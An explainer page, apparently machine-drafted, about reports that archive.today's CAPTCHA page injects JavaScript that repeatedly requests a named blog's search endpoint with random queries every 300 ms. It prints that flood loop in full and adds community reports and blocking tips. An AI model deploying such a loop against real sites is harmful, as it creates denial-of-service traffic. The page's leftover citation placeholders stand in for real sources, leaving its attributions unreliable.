INVESTIGATION SUMMARY

Archive.today and Allegations of JavaScript-Driven DDoS-Like Traffic

This page explains, step by step, the reported behavior, technical evidence, community discussion, and simulation of repeated request patterns observed on one of the world’s largest archive sites.

Simulation: Repeated Request Pattern (Safe — No Network Requests)

This simulation visually shows how a loop like the one reported in source code would generate repeated requests every few hundred milliseconds. No real network calls are made.

Total Requests
0

Interval
300ms

How the Reported JavaScript Behavior Works

According to community observation and direct examination of the CAPTCHA page on archive.today, the following JavaScript snippet is inserted:

setInterval(function() {
    fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2), {
        referrerPolicy: "no-referrer",
        mode: "no-cors"
    });
}, 300);

Every 300 milliseconds (about three times per second), as long as the CAPTCHA page stays open, this code generates a request to the target blog’s search endpoint. The random query string ensures that typical browser caching is bypassed and forces the server to respond on each hit. This pattern matches what security professionals categorize as a sustained request flood, resembling distributed denial-of-service (DDoS) traffic. :contentReference[oaicite:0]{index=0}

Why This Matters

On most personal or low-capacity hosts, even a modest sustained flood of requests can overwhelm CPU, memory, or database resources. Unlike a single fast request burst, repeated requests over long periods can degrade performance significantly. :contentReference[oaicite:1]{index=1}

Context, Timeline & Community Reports

Sources show that this behavior was first reported publicly around late January 2026 when users on Hacker News and Reddit began noticing repeated outbound requests coming from the CAPTCHA page. :contentReference[oaicite:2]{index=2}

On Hacker News, a user noted that automatic requests started recently after the CAPTCHA appeared. :contentReference[oaicite:3]{index=3}
Reddit’s r/DataHoarder community discussed how this may even be a retaliation pattern for a blog post about the archive’s background. :contentReference[oaicite:4]{index=4}
Lobsters threads summarize escalation between the blog author and archive.today administrors, including GDPR complaints and escalating requests. :contentReference[oaicite:5]{index=5}

These discussions provide insight into the sequence of events, though various interpretations remain debated publicly. :contentReference[oaicite:6]{index=6}

About Archive.today (Web Archiving Service)

Archive.today (also known as archive.is, archive.ph, archive.md, etc.) is a widely used service that takes snapshots of web pages for future reference. It’s been operational since around 2012. :contentReference[oaicite:7]{index=7}

Users and researchers have long noted that the ownership and funding of archive.today are opaque. Discussions across Reddit mountain the service’s intermittent technical issues, DNS anomalies, and access problems for users, depending on DNS resolver and region. :contentReference[oaicite:8]{index=8}

Community Discussion & Opinions

Across Hacker News and Reddit threads, users offered differing takes:

Some interpretations suggest the repeated requests may be retaliatory — tied to blogs critical of the archive. :contentReference[oaicite:9]{index=9}
Others noted the broader archive’s history of conflicts around DNS and caching. :contentReference[oaicite:10]{index=10}
Users also shared troubleshooting tips for blocking or avoiding the behavior (e.g., using blockers or different DNS). :contentReference[oaicite:11]{index=11}

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